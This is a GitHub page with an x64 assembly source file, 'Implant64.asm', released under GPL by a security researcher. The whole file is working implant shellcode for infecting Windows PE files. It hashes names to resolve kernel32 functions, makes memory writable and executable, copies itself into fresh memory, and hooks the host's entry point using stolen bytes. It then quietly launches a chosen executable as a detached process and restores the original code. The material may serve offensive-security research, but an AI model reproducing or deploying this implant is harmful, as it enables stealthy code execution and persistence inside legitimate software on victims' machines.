-
Notifications
You must be signed in to change notification settings - Fork 86
/
Implant64.asm
646 lines (536 loc) · 32.8 KB
/
Implant64.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
; Written by Forrest Williams - forrest-RE@protonmail.com / forrest.williams@cybereason.com
; Copyright (C) 2017, Cybereason
;
; This program is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with this program. If not, see <http://www.gnu.org/licenses/>.
;%define DBG
%ifdef DBG
global x64CreateProcess
%endif
%include "Windows.inc"
qw_module_base equ -8
qw_target_name_hash equ -10h
qw_export_table equ -18h
pdw_names_array equ -20h
pw_name_ordinal_array equ -28h
pdw_function_rva_array equ -30h
qw_function_address equ -38h
dw_export_table_size equ -40h
qw_forwarded_module_base equ -48h
forwarded_function_name equ -150h ; 100h is 256, clean multiple of 8 for stack alignment.
forwarded_module_name equ -250h
resolve_export_address64_stack_size equ 250h
aligned_startup_info64_size equ (STARTUPINFO64_size + 8) ; 68h on its own so we intentionally align it to 70h
aligned_process_info_size equ (PROCESS_INFORMATION64_size + 8) ; 18h on its own, align to 20h
target_path_buf_size equ (264 * 2) ; MAX_PATH is 260 but we need an extra byte for the NULL terminator. 264 is the closest clean multiple of 8. Double the size for Unicode.
current_startup_info equ -(aligned_startup_info64_size)
current_process_info equ -(aligned_startup_info64_size + aligned_process_info_size)
target_buf_size equ -(aligned_startup_info64_size + aligned_process_info_size + target_path_buf_size)
qw_old_protect equ -(aligned_startup_info64_size + aligned_process_info_size + target_path_buf_size + 8)
qw_saved_rax equ -(aligned_startup_info64_size + aligned_process_info_size + target_path_buf_size + 8 + 8)
main_stack_frame_size equ (aligned_startup_info64_size + aligned_process_info_size + target_path_buf_size + 8 + 8)
qw_return_address equ 10h ; Would normally be +8, must consider RFlags in addition to the standard rbp
qw_exec_mode equ 18h ; Parameter passed via the stack to the shellcode. 3 Quadwords deep: rbp, RFlags, return address
qw_rax_param equ 20h
bits 64
%macro x64AlignStackM 0
sub rsp, 8 ; Subtract an additional Quadword from the stack pointer.
and spl, 0F7h ; Align stack 11110111 (1000 is 8), spl is 8 bit rsp
%endmacro
%macro x64AlignCallM 1 ; can only be used if there are less than 4 params otherwise we must have a definite knowledge of the stack subtraction size
push rbp
mov rbp, rsp
sub rsp, 20h ; Minimum stack space for 4 default fastcall registers.
x64AlignStackM
call %1
mov rsp, rbp
pop rbp
%endmacro
%ifdef DBG
;Section .synthetic execute read write
Section .text
%else
Section .text
%endif
%ifdef DBG
%define x64CreateProcess_Base x64CreateProcess.main
%else
%define x64CreateProcess_Base x64CreateProcess
%endif
x64CreateProcess: ; rcx = execution mode, zero = initial execution, nonzero = secondary execution
%ifdef DBG
times 30 nop ; Pad the entry point so that the synthetic first entry point (secondary exec context) detour can be written there without clobbering the synthetic first exec mode detour code
db 68h, 00h, 00h, 00h, 00h ; Force a 32 bit push
call x64CreateProcess.main
;db 68h, 01h, 00h, 00h, 00h ; Force a 32 bit push
jmp x64CreateProcess ; Used for testing, should produce a 32 bit jmp rather than an 8 bit one due to distance. Will cause a crash, this is only here for testing.
.main:
%endif
pushfq
push rbp ; Normally any function including this one should be called with a 10h alignment in x64 which after the return address is pushed will be 8. In case we're not already aligned subtract another qword and filter off 8 bit.
mov rbp, rsp
sub rsp, main_stack_frame_size
x64AlignStackM
push rax
push rcx
push rdx
push rbx
push rsi
push rdi
push R8
push R9
push R10
push R11
push R12
push R13
push R14
push R15
mov edi, dword [gs:TIB64.LastError]
call x64CreateProcess.get_rip
.get_rip:
pop rsi
sub rsi, (x64CreateProcess.get_rip - x64CreateProcess_Base) ; get the shellcode base and store it in rsi.
mov rcx, 0D4E88h ; kernel32.dll string hash. The hashing algorithm is case insensitive (forced uppercase)
call get_module_base64
test rax, rax
jz x64CreateProcess.restore_state
mov R12, rax ; R12-15 are non-volatile
mov rdx, 38d13ch ; VirtualProtect
mov rcx, R12
call resolve_export_address64
test rax, rax
jz x64CreateProcess.restore_state
mov R14, rax
cmp qword [rbp + qw_exec_mode], 0
jne x64CreateProcess.secondary_exec_context ; Otherwise we are in the first exec context. The purpose of this context is to relocate itself elsewhere in virtual memory (doing this will prevent this code from vanishing if the infected DLL is unloaded). The moved shellcode will be called by a detour from the orig entry point. This is because neither LoadLibrary or CreateProcess can be safely called from within DllMain.
mov qword [rbp + qw_old_protect], 0
lea R9, qword [rbp + qw_old_protect] ; lpflOldProtect
mov R8, PAGE_EXECUTE_READWRITE ; flNewProtect
mov rdx, (writable_shellcode_buf_end - writable_shellcode_buf) ; dwSize
mov rcx, rsi
add rcx, (writable_shellcode_buf - x64CreateProcess_Base) ; lpAddress
x64AlignCallM R14 ; Use VirtualProtect to change the stolen bytes buffer within this shellcode (which could be embedded in a non-writable section of an infected PE) to writable
test al, al
jz x64CreateProcess.restore_state ; Don't risk causing an exception by writing to the current shellcode body if the memory protection change failed
call get_primary_module_ep64
mov qword [rbp + qw_old_protect], 0
lea R9, qword [rbp + qw_old_protect] ; lpflOldProtect
mov R8, PAGE_EXECUTE_READWRITE ; flNewProtect
mov rdx, (primary_module_stolen_bytes.end - primary_module_stolen_bytes.start) ; dwSize
mov rcx, rax ; lpAddress
x64AlignCallM R14 ; Use VirtualProtect to change the orig entry point (likely to be in a read/exec .text section) to writable
test al, al
jz x64CreateProcess.restore_state ; Don't risk causing an exception by writing to the orig entry point if the memory protection change failed
mov rdx, 0e3142h ; VirtualAlloc
mov rcx, R12
call resolve_export_address64 ; Resolve VirtualAlloc and allocate a chunk of memory representing the full size of this shellcode. The full size must be obtained dynamically since the path string can vary in length.
test rax, rax
jz x64CreateProcess.restore_state
mov R13, rax
mov rdx, 1 ; Unicode boolean
mov rcx, rsi
add rcx, (target_exe_path - x64CreateProcess_Base)
call get_string_len64
inc rax
add rax, rax ; Multiply by two in order to get the full size of the string in bytes
add rax, (target_exe_path - x64CreateProcess_Base) ; rax now holds the full shellcode size, including the path string appended to it
mov R15, rax ; Save the dynamically calculated shellcode size up to the end of the path string. This also serves as an offet to the stolen bytes appended to the end.
add R15, rsi
add ax, word [R15] ; Add the stolen bytes length
add rax, 2 ; Include the size of the length word itself in the full shellcode size
push rax
mov R9, PAGE_EXECUTE_READWRITE
mov R8, (MEM_COMMIT | MEM_RESERVE)
mov rdx, rax ; Size
xor rcx, rcx ; Initial pointer can be NULL
x64AlignCallM R13 ; Copy the full shellcode in to the +rwx virtual memory
mov R13, rax ; R13 now holds the relocated shellcode base
pop rcx ; Shellcode size
push rsi ; rsi should already be equal to the current shellcode base, but since Movsb may modify it, preserve it.
push rdi
mov rdi, rax
rep movsb ; Move rcx bytes from rsi to rdi
pop rdi
pop rsi
push rsi ; Save the stolen byte(s) to the relocated shellcode body. It's essential the stolen bytes data in the original shellcode is preserved as it contains the detour bytes.
push rdi
call get_primary_module_ep64
mov rdi, R13
add rdi, (primary_module_stolen_bytes.start - x64CreateProcess_Base)
mov rcx, (primary_module_stolen_bytes.end - primary_module_stolen_bytes.start)
mov rsi, rax
rep movsb ; Move rcx bytes from rsi to rdi
pop rdi
pop rsi
call get_primary_module_ep64
push rsi
push rdi
mov rdi, rax
add rsi, (primary_module_stolen_bytes.start - x64CreateProcess_Base) ; Copy detour bytes from original (non-relocated) shellcode. The relocated shellcode contains the stolen bytes.
mov rcx, (primary_module_stolen_bytes.end - primary_module_stolen_bytes.start)
rep movsb ; Move rcx bytes from rsi to rdi
pop rdi
pop rsi
mov qword [rax + 8], R13 ; Fill out absolute address in mov rax, XX XX XX XX XX XX XX XX : 48 B8 XX XX XX XX XX XX XX XX
xor rcx, rcx ; Retrieve the infected module orig entry using the return address on the stack pushed by our detour.
mov cx, word [R15]
mov rax, qword [rbp + qw_return_address]
sub rax, rcx
mov R12, rax ; Clobber kernel32.dll base address with infected module DllMain.
mov R13, rcx ; Clobber relocated shellcode address with stolen infected module bytes size.
mov qword [rbp + qw_old_protect], 0
lea R9, qword [rbp + qw_old_protect] ; lpflOldProtect
mov R8, PAGE_EXECUTE_READWRITE ; flNewProtect
mov rdx, rcx ; dwSize
mov rcx, R12 ; lpAddress
x64AlignCallM R14 ; Use VirtualProtect to change the infected module orig entry DllMain to writable.
test al, al
jz x64CreateProcess.restore_state
push rsi
push rdi
mov rsi, R15 ; R15 holds the offset to the stolen bytes buffer (including size word)
add rsi, 2
mov rcx, R13
mov rdi, R12
rep movsb ; Restore stolen bytes to the entry point of the current module that currently contains the detour which called this shellcode
pop rdi
pop rsi
mov rcx, R13
jmp x64CreateProcess.restore_state
.secondary_exec_context: ; In this secondary execution context we can assume we are executing from +rwx virtual memory in an independent thread not associated with the Windows Loader.
mov rdx, 33cfc2h ; CreateProcessW, the Unicode variant is specifically chosen despite its larger shellcode size (string will be twice the size) to give compatability on non-English systems.
mov rcx, R12
call resolve_export_address64
test rax, rax
jz x64CreateProcess.restore_state
mov R13, rax
push rdi
push rsi
lea rdi, qword [rbp + target_buf_size]
add rsi, (target_exe_path - x64CreateProcess_Base) ; Use RIP to find the target executable path string at the end of this shellcode then copy it on to a local stack buffer. It is essential that we do this, since CreateProcess will often attempt to write to this value and we can't assume the section this shellcode is stored in will be +w
mov rdx, 1 ; Unicode boolean
mov rcx, rsi
call get_string_len64
inc rax ; Include null terminator since we cannot assume the stack will be filled with 0's
add rax, rax ; Multiply the string length by two in order to determine the size of the Unicode string in bytes
mov rcx, rax
rep movsb ; Move rcx bytes from rsi to rdi: copy the Unicode path string of the target payload file to a local stack buffer
pop rsi
pop rdi
mov rdx, aligned_startup_info64_size
lea rcx, qword [rbp + current_startup_info]
call wipe_mem64
mov rdx, rcx
mov dword [rdx + STARTUPINFO64.cb], STARTUPINFO64_size ; We avoid the aligned structure size in this case we want the plain size (68h)
lea rbx, qword [rbp + current_process_info]
sub rsp, 50h
xor rcx, rcx ; Optimization - also serves as 1st param lpApplicationName
mov qword [rsp + 48h], rbx ; lpProcessInformation
mov qword [rsp + 40h], rdx ; lpStartupInfo
mov qword [rsp + 38h], rcx ; lpCurrentDirectory
mov qword [rsp + 30h], rcx ; lpEnvironment
mov qword [rsp + 28h], DETACHED_PROCESS ; dwCreationFlags
mov qword [rsp + 20h], rcx ; bInheritHandles
xor R9, R9
xor R8, R8
lea rdx, qword [rbp + target_buf_size]
;mov rdx, target_exe_path
call R13
add rsp, 50h
push rsi ; Restore stolen bytes to original entry point and modify the return address on the stack so that the stolen bytes will be executed upon return from this shellcode
push rdi
call get_primary_module_ep64
add rsi, (primary_module_stolen_bytes.start - x64CreateProcess_Base)
mov rcx, (primary_module_stolen_bytes.end - primary_module_stolen_bytes.start)
mov rdi, rax
rep movsb ; Move rcx bytes from rsi to rdi
pop rdi
pop rsi
%ifdef DBG
mov rcx, qword [rbp + qw_return_address] ; get the return address of the caller for this function. There is a 2 qword distance between rbp and the return address since not only rbp is saved, but also RFlags
mov byte [rcx], 0C3h ; Write a 'ret' directly on top of the restored stolen bytes (these will be nops) so that instead of looping all over again ExitProcess is called via return from orig entry.
%endif
mov rcx, (primary_module_stolen_bytes.end - primary_module_stolen_bytes.start)
.restore_state:
sub qword [rbp + qw_return_address], rcx ; Adjust return address to point to the original entry point rather than the next instruction after the (now overwritten) detour hook
mov dword [gs:TIB64.LastError], edi
pop R15 ; Restore initial state. If this is the secondary execution rax will have been clobbered by the detour itself and must be restored from the stack.
pop R14
pop R13
pop R12
pop R11
pop R10
pop R9
pop R8
pop rdi
pop rsi
pop rbx
pop rdx
pop rcx
pop rax
cmp qword [rbp + qw_exec_mode], 0
je x64CreateProcess.primary_finish
.secondary_finish:
mov rax, qword [rbp + qw_rax_param] ; Restore rax, which was clobbered in order to execute a 'call rax' instruction in the secondary exec detour
mov rsp, rbp
pop rbp
popfq
retn 10h
.primary_finish:
mov rsp, rbp
pop rbp
popfq
retn 8
get_primary_module_ep64:
push rdi
push rsi
mov rsi, TIB64.pPEB
gs lodsq
mov rdi, qword [rax + PEB64.pImageBase]
mov rcx, rdi ; get the absolute address of the module EP using its PE header
xor rbx, rbx
mov ebx, dword [rdi + IMAGE_DOS_HEADER.e_lfanew]
add rcx, rbx
add rcx, (IMAGE_FILE_HEADER_size + 4)
xor rbx, rbx
mov ebx, dword [rcx + IMAGE_OPTIONAL_HEADER64.AddressOfEntryPoint]
add rbx, rdi
mov rax, rbx
pop rsi
pop rdi
ret
wipe_mem64: ; rcx = pointer to target buffer, rdx = length
mov rax, -1
.zero_next_byte:
inc rax
cmp rax, rdx
je wipe_mem64.wipe_finish
mov byte [rcx + rax], 0
jmp wipe_mem64.zero_next_byte
.wipe_finish:
ret
get_string_len64: ; rcx = target string pointer, rdx = boolean yes unicode or no unicode
inc rdx ; rdx goes from being a boolean to being the char size (0 to 1 for ANSI, 1 to 2 for Unicode)
xor rax, rax ; Length counter. This is the number of chars (excluding the terminator) not the number of bytes.
.count_next_char:
cmp byte [rcx], 0
je get_string_len64.finish
add rcx, rdx
inc rax
jmp get_string_len64.count_next_char
.finish:
ret
get_module_base64: ; rcx = the string hash of the target module base name (not full path)
push R8 ; Walk through the load order module list in the PEB by flink until either the first module in the list (ntdll.dll) is reached again or a NULL entry is identified.
push rdi
push rsi
mov R8, rcx
mov rsi, TIB64.pPEB
gs lodsq
mov rax, qword [rax + PEB64.pLDRData]
mov rdi, qword [rax + PEB_LDR_DATA64.pInLoadOrderModuleList]
mov rsi, rdi ; rsi will be my moving module entry pointer, while rdi will be a static reference to the initial load order module (should always be ntdll.dll)
xor rax, rax ; If the list pointer is invalid we still need to return 0.
jmp get_module_base64.check_valid_module ; rsi and rdi will be equal when the loop begins, skip the ntdll check on the first iteration.
.check_next_module: ; rsi = current module, rdi = ntdll module, R8 = target module name hash. rax will be the module base after loop exits assuming it was ever found
cmp rdi, rsi
je get_module_base64.final_module
.check_valid_module:
test rsi, rsi
jz get_module_base64.final_module
lea rbx, qword [rsi + LDR_MODULE64.usBaseDllName]
test rbx, rbx
jz get_module_base64.load_next_module_entry
mov rdx, 1 ; Unicode string boolean
mov rcx, qword [rbx + UNICODE_STRING64.Buffer]
test rcx, rcx
jz get_module_base64.load_next_module_entry
call get_string_hash64
cmp rax, R8
je get_module_base64.found_target_module
.load_next_module_entry:
xor rax, rax ; This will ensure we return 0 in the event the target module is not found.
mov rsi, qword [rsi + LDR_MODULE64.Flink]
jmp get_module_base64.check_next_module
.found_target_module:
mov rax, qword [rsi + LDR_MODULE64.pBase]
.final_module:
pop rsi
Pop rdi
pop R8
ret
get_string_hash64: ; rcx = pointer to string, rdx = boolean yes unicode or no unicode
push rdi
mov rdi, rdx
xor rbx, rbx
.hash_next_byte:
cmp byte [rcx], 0
je get_string_hash64.hash_generated
movzx eax, byte [rcx]
or al, 60h
Movzx edx, al
add ebx, edx
shl rbx, 1
inc rcx
test rdi, rdi
jz get_string_hash64.hash_next_byte
inc rcx ; Skip an extra byte if this is a unicode string
jmp get_string_hash64.hash_next_byte
.hash_generated:
mov rax, rbx
pop rdi
Ret
resolve_export_address64:
bits 64
push rbp
mov rbp, rsp
sub rsp, resolve_export_address64_stack_size
push rdi
push rsi
mov qword [rbp + qw_module_base], rcx
mov qword [rbp + qw_target_name_hash], rdx
xor rbx, rbx
mov ebx, dword [rcx + IMAGE_DOS_HEADER.e_lfanew]
add rcx, rbx
add rcx, (IMAGE_FILE_HEADER_size + 4)
mov rsi, qword [rbp + qw_module_base]
xor rbx, rbx
mov ebx, dword [rcx + IMAGE_OPTIONAL_HEADER64.DataDirectory]
add rsi, rbx
mov qword [rbp + qw_export_table], rsi
mov eax, dword [rcx + IMAGE_OPTIONAL_HEADER64.DataDirectory + 4] ; Size field in first data directory (export address table)
mov dword [rbp + dw_export_table_size], eax
mov rax, qword [rbp + qw_module_base]
mov ebx, dword [rsi + IMAGE_EXPORT_DIRECTORY.AddressOfNames]
add rax, rbx
mov qword [rbp + pdw_names_array], rax
mov rax, qword [rbp + qw_module_base]
xor rbx, rbx
mov ebx, dword [rsi + IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
add rax, rbx
mov qword [rbp + pw_name_ordinal_array], rax
mov rax, qword [rbp + qw_module_base]
mov ebx, dword [rsi + IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
add rax, rbx
mov qword [rbp + pdw_function_rva_array], rax
xor rsi, rsi
mov qword [rbp + qw_function_address], rsi
.get_func_name: ; rsi = Current function index (should be initialized to 0)
mov rax, qword [rbp + qw_export_table]
mov eax, dword [rax + IMAGE_EXPORT_DIRECTORY.NumberOfNames]
cmp rax, rsi
Jbe resolve_export_address64.return_hash
mov rax, rsi
lea rcx, qword [rax * 4]
mov rdx, qword [rbp + pdw_names_array]
mov rax, qword [rbp + qw_module_base]
mov ebx, dword [rcx + rdx]
add rax, rbx
xor rdx, rdx ; Set Unicode boolean to false, function names are always ANSI from the export address table
mov rcx, rax
call get_string_hash64
cmp eax, dword [rbp + qw_target_name_hash] ; Explicitly check 32 bits, otherwise long function names may produce hashes which require 64 bits.
jnz resolve_export_address64.next_func_name
mov rax, rsi
lea rdx, dword [rax + rax]
mov rax, qword [rbp + pw_name_ordinal_array]
movzx rax, word [rdx + rax]
lea rcx, qword [rax * 4]
mov rdx, qword [rbp + pdw_function_rva_array]
mov rax, qword [rbp + qw_module_base]
mov ebx, dword [rcx + rdx]
add rax, rbx
mov qword [rbp + qw_function_address], rax ; We've resolved the address of the target function. However this may be a forwarder string, not code. Check and see if the address is within the export table to determine this.
mov rcx, qword [rbp + qw_export_table]
mov rdx, rcx
xor rbx, rbx
mov ebx, dword [rbp + dw_export_table_size]
add rdx, rbx
cmp rax, rcx
jl resolve_export_address64.return_hash ; func address below the start of the export table? If so it's a legit function.
cmp rax, rdx
jge resolve_export_address64.return_hash ; Function address above the end of the export table? If so it's a legit function in this context.
mov qword [rbp + qw_function_address], 0 ; The function address falls within the export table. We can assume that it is a forwarder. Extract the module/function name: <Module name (no extension)>.<Function name>
xor rcx, rcx ; Forwarder string counter
lea rbx, qword [rbp + forwarded_module_name] ; at first the buffer register will point to the module name since this field comes first.
.extract_forwarder:
mov dl, byte [rax + rcx]
cmp dl, 0
je resolve_export_address64.resolve_forwarder
cmp dl, '.'
jne resolve_export_address64.next_forwarder_byte
mov dword [rbx], '.dll' ; The module name in a forwarder will not include a .dll extension. Add it so that we can generate a name hash which may match a module in the PEB loader list.
add rbx, 4
mov byte [rbx], 0 ; Finalize module name string with null terminator
lea rbx, qword [rbp + forwarded_function_name] ; Switch the buffer register and begin building the function string
inc rcx ; Skip the '.' seperator
jmp resolve_export_address64.extract_forwarder
.next_forwarder_byte:
mov byte [rbx], dl
inc rcx
inc rbx
jmp resolve_export_address64.extract_forwarder
.resolve_forwarder:
mov byte [rbx], 0 ; end the function name string with a null terminator.
;lea rdx, qword [rbp + forwarded_function_name]
xor rdx, rdx
lea rcx, qword [rbp + forwarded_module_name]
call get_string_hash64
mov rcx, rax
call get_module_base64
test rax, rax
jz resolve_export_address64.return_hash ; Failed to find the forwarded module in the PEB loader list. This could be because it is an API set (and these will never be in the list) or a module which simply has not been loaded yet.
mov qword [rbp + qw_forwarded_module_base], rax
xor rdx, rdx
lea rcx, qword [rbp + forwarded_function_name]
call get_string_hash64
mov rdx, rax
mov rcx, qword [rbp + qw_forwarded_module_base]
call resolve_export_address64
mov qword [rbp + qw_function_address], rax
jmp resolve_export_address64.return_hash
.next_func_name:
inc rsi
jmp resolve_export_address64.get_func_name
.return_hash:
mov rax, qword [rbp + qw_function_address]
pop rsi
pop rdi
mov rsp, rbp
pop rbp
ret
;align 16
writable_shellcode_buf:
primary_module_stolen_bytes:
.start:
; 50 | push rax
; 68 01 00 00 00 | push 1
; 48 B8 34 12 6F 5E 4D 3C | movabs rax,1A2B3C4D5E6F1234
; FF D0 | call rax
push rax
db 68h, 01h, 00h, 00h, 00h ; Force a 32 bit push
mov rax, 1A2B3C4D5E6F1234h ; This will be replaced by the absolute address of the OEP at runtime. rax is used because we can safely assume it is equal to the OEP absolute address on the initial threat context of the OEP
call rax ; This is specifically chosen over an E8 relative call since we cannot assume the distance between the original entry and relocated shellcode can be encoded in 32 bits.
.end:
target_exe_path:
%ifdef DBG
dw 'T', 'e', 's', 't', 'E', 'X', 'E', '.', 'e', 'x', 'e', 0
%endif
writable_shellcode_buf_end:
infected_module_stolen_bytes: ; The bytes that were overwritten by the detour which called the first shellcode execution mode
%ifdef DBG
dw 0Ah ; Size (this will be filled in when this shellcode is generated)
;...
times 10 nop ; In debug we can just use nops as our fake stolen bytes. 5 for the push 5 for the call
%endif
End: